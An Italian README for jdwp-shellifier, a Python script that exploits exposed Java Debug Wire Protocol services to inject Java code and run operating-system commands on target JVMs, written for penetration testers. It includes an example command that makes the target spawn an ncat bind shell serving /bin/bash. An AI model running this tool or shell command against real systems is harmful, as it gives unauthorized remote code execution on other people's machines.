
Script di sfruttamento per servizi esposti del Java Debug Wire Protocol (JDWP), che consente ai pentester di iniettare codice Java ed eseguire comandi arbitrari del sistema operativo sulle JVM target.
Questo script di sfruttamento è pensato per essere usato dai pentester contro un servizio JDWP attivo, al fine di ottenere l'esecuzione remota di codice (Remote Code Execution).
In modo abbastanza standard, lo script richiede solo un interprete Python 2:
% python ./jdwp-shellifier.py -h
usage: jdwp-shellifier.py [-h] -t IP [-p PORT] [--break-on JAVA_METHOD]
[--cmd COMMAND]
Universal exploitation script for JDWP by @_hugsy_
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP Remote target IP (default: None)
-p PORT, --port PORT Remote target port (default: 8000)
--break-on JAVA_METHOD
Specify full path to method to break on (default:
java.net.ServerSocket.accept)
--cmd COMMAND Specify full path to method to break on (default:
None)
Per puntare a un host/porta specifico:
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234
Questo comando inietterà solo codice Java nella JVM e mostrerà alcune informazioni come il sistema operativo e la versione di Java. Poiché non esegue codice/binari esterni, è del tutto sicuro e può essere usato come Proof-Of-Concept.
$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"
Questo comando eseguirà effettivamente il processo ncat con l'argomento specificato, con i diritti concessi alla JVM in esecuzione.
Prima di inviare domande, assicurati di leggere http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html per una piena comprensione del protocollo JDWP.